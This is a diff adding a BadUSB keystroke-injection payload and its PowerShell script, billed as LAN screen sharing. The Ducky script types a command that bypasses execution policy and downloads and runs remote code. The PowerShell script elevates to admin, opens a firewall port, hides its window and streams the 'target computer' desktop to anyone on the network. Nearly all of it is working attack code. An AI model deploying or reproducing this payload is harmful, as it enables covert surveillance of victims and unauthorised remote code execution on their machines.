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Screenshare-Over-LAN/README.md

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+
+<h2 align="center"> Screen Stream over LAN </h2>
+
+**SYNOPSIS**
+
+Start up a HTTP server and stream the desktop to a browser window on another device on the network.
+
+**USAGE**
+
+1. Run this script on target computer and note the URL provided
+2. on another device on the same network, enter the provided URL in a browser window
+
+

Screenshare-Over-LAN/Screenshare-Over-LAN.txt

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+REM Title: beigeworm's LAN Tools
+REM Author: @beigeworm
+REM Description: Start up a HTTP server and run a selection of Local Area Network Tools using Powershell.
+REM NOTE - This script will need Admin privileges to run properly.
+
+REM some setup for dukie script
+DEFAULT_DELAY 100
+
+REM open powershell (remove "-W H" to show the window)
+DELAY 1000
+GUI r
+DELAY 750
+STRING powershell -NoP -Ep Bypass -C $port = 8080;irm https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Screenshare-Over-LAN/main.ps1 | iex
+ENTER
+

Screenshare-Over-LAN/main.ps1

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+<#
+================================================= Beigeworm's Screen Stream over HTTP ==========================================================
+
+SYNOPSIS
+Start up a HTTP server and stream the desktop to a browser window on another device on the network.
+
+USAGE
+1. Run this script on target computer and note the URL provided
+2. on another device on the same network, enter the provided URL in a browser window
+3. Hold escape key on target for 5 seconds to exit screenshare.
+
+#>
+
+
+# Hide the powershell console (1 = yes)
+$hide = 1
+
+# WRITE AS ADMIN!
+If (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) {
+    Start-Process PowerShell.exe -ArgumentList ("-NoProfile -Ep Bypass -File `"{0}`"" -f $PSCommandPath) -Verb RunAs
+    Exit
+}
+
+[Console]::BackgroundColor = "Black"
+Clear-Host
+[Console]::SetWindowSize(88,30)
+[Console]::Title = "HTTP Screenshare"
+Add-Type -AssemblyName System.Windows.Forms
+Add-Type -AssemblyName PresentationCore,PresentationFramework
+Add-Type -AssemblyName System.Windows.Forms
+[System.Windows.Forms.Application]::EnableVisualStyles()
+
+# Define port number
+if ($port.length -lt 1){
+    Write-Host "Using default port.. (8080)" -ForegroundColor Green
+    $port = 8080
+}
+
+Write-Host "Detecting primary network interface." -ForegroundColor DarkGray
+$networkInterfaces = Get-NetAdapter | Where-Object { $_.Status -eq 'Up' -and $_.InterfaceDescription -notmatch 'Virtual' }
+$filteredInterfaces = $networkInterfaces | Where-Object { $_.Name -match 'Wi*' -or  $_.Name -match 'Eth*'}
+$primaryInterface = $filteredInterfaces | Select-Object -First 1
+if ($primaryInterface) {
+    if ($primaryInterface.Name -match 'Wi*') {
+        Write-Output "Wi-Fi is the primary internet connection."
+        $localIP = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias "Wi*" | Select-Object -ExpandProperty IPAddress
+    } elseif ($primaryInterface.Name -match 'Eth*') {
+        Write-Output "Ethernet is the primary internet connection."
+        $localIP = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias "Eth*" | Select-Object -ExpandProperty IPAddress
+    } else {
+        Write-Output "Unknown primary internet connection."
+    }
+    } else {Write-Output "No primary internet connection found."}
+
+New-NetFirewallRule -DisplayName "AllowWebServer" -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow | Out-Null
+$webServer = New-Object System.Net.HttpListener 
+$webServer.Prefixes.Add("http://"+$localIP+":$port/")
+$webServer.Prefixes.Add("http://localhost:$port/")
+$webServer.Start()
+Write-Host ("Network Devices Can Reach the server at : http://"+$localIP+":$port") 
+Write-Host "Press escape key for 5 seconds to exit" -f Cyan
+Write-Host "Hiding this window.." -f Yellow
+sleep 4
+
+# Code to hide the console on Windows 10 and 11
+if ($hide -eq 1){
+    $Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'
+    $Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru
+    $hwnd = (Get-Process -PID $pid).MainWindowHandle
+
+    if ($hwnd -ne [System.IntPtr]::Zero) {
+        $Type::ShowWindowAsync($hwnd, 0)
+    }
+    else {
+        $Host.UI.RawUI.WindowTitle = 'hideme'
+        $Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' })
+        $hwnd = $Proc.MainWindowHandle
+        $Type::ShowWindowAsync($hwnd, 0)
+    }
+}
+
+# Escape to exit key detection
+Add-Type @"
+using System;
+using System.Runtime.InteropServices;
+
+public class Keyboard
+{
+    [DllImport("user32.dll")]
+    public static extern short GetAsyncKeyState(int vKey);
+}
+"@
+$VK_ESCAPE = 0x1B
+$startTime = $null
+
+while ($true) {
+    try {
+        $context = $webServer.GetContext()
+        $response = $context.Response
+        if ($context.Request.RawUrl -eq "/stream") {
+            $response.ContentType = "multipart/x-mixed-replace; boundary=frame"
+            $response.Headers.Add("Cache-Control", "no-cache")
+            $boundary = "--frame"
+
+            while ($context.Response.OutputStream.CanWrite) {
+                $screen = [System.Windows.Forms.Screen]::PrimaryScreen
+                $bitmap = New-Object System.Drawing.Bitmap $screen.Bounds.Width, $screen.Bounds.Height
+                $graphics = [System.Drawing.Graphics]::FromImage($bitmap)
+                $graphics.CopyFromScreen($screen.Bounds.X, $screen.Bounds.Y, 0, 0, $screen.Bounds.Size)
+
+                $stream = New-Object System.IO.MemoryStream
+                $bitmap.Save($stream, [System.Drawing.Imaging.ImageFormat]::Png)
+                $bitmap.Dispose()
+                $graphics.Dispose()
+
+                $bytes = $stream.ToArray()
+                $stream.Dispose()
+
+                $writer = [System.Text.Encoding]::ASCII.GetBytes("$boundary`r`nContent-Type: image/png`r`nContent-Length: $($bytes.Length)`r`n`r`n")
+                $response.OutputStream.Write($writer, 0, $writer.Length)
+                $response.OutputStream.Write($bytes, 0, $bytes.Length)
+                $boundaryWriter = [System.Text.Encoding]::ASCII.GetBytes("`r`n")
+                $response.OutputStream.Write($boundaryWriter, 0, $boundaryWriter.Length)
+
+                Start-Sleep -Milliseconds 33 
+
+                # Check for the escape key press to exit
+                $isEscapePressed = [Keyboard]::GetAsyncKeyState($VK_ESCAPE) -lt 0
+                if ($isEscapePressed) {
+                    if (-not $startTime) {
+                        $startTime = Get-Date
+                    }
+                    $elapsedTime = (Get-Date) - $startTime
+                    if ($elapsedTime.TotalSeconds -ge 5) {
+                        (New-Object -ComObject Wscript.Shell).Popup("Screenshare Closed.",3,"Information",0x0)
+                        sleep 1
+                        exit
+                    }
+                } else {
+                    $startTime = $null
+                }
+
+            }
+        } else {
+            $response.ContentType = "text/html"
+            $html = @"
+            <!DOCTYPE html>
+            <html>
+            <head>
+                <title>Streaming Video</title>
+                <meta name="viewport" content="width=device-width, initial-scale=1.0">
+            <style>
+                body {
+                    background-color: black;
+                    margin: 0;
+                    display: flex;
+                    justify-content: center;
+                    align-items: center;
+                    height: 100vh;
+                }
+                img {
+                    width: 90vw;
+                    height: auto;
+                    max-width: 100%;
+                    max-height: 100%;
+                }
+            </style>
+            </head>
+            <body>
+                <img src='/stream' alt='Streaming Video' />
+            </body>
+            </html>
+"@
+            $buffer = [System.Text.Encoding]::UTF8.GetBytes($html)
+            $response.OutputStream.Write($buffer, 0, $buffer.Length)
+        }
+        $response.Close()
+    } catch {
+        Write-Host "Error encountered: $_"
+    }
+}
+$webServer.Stop()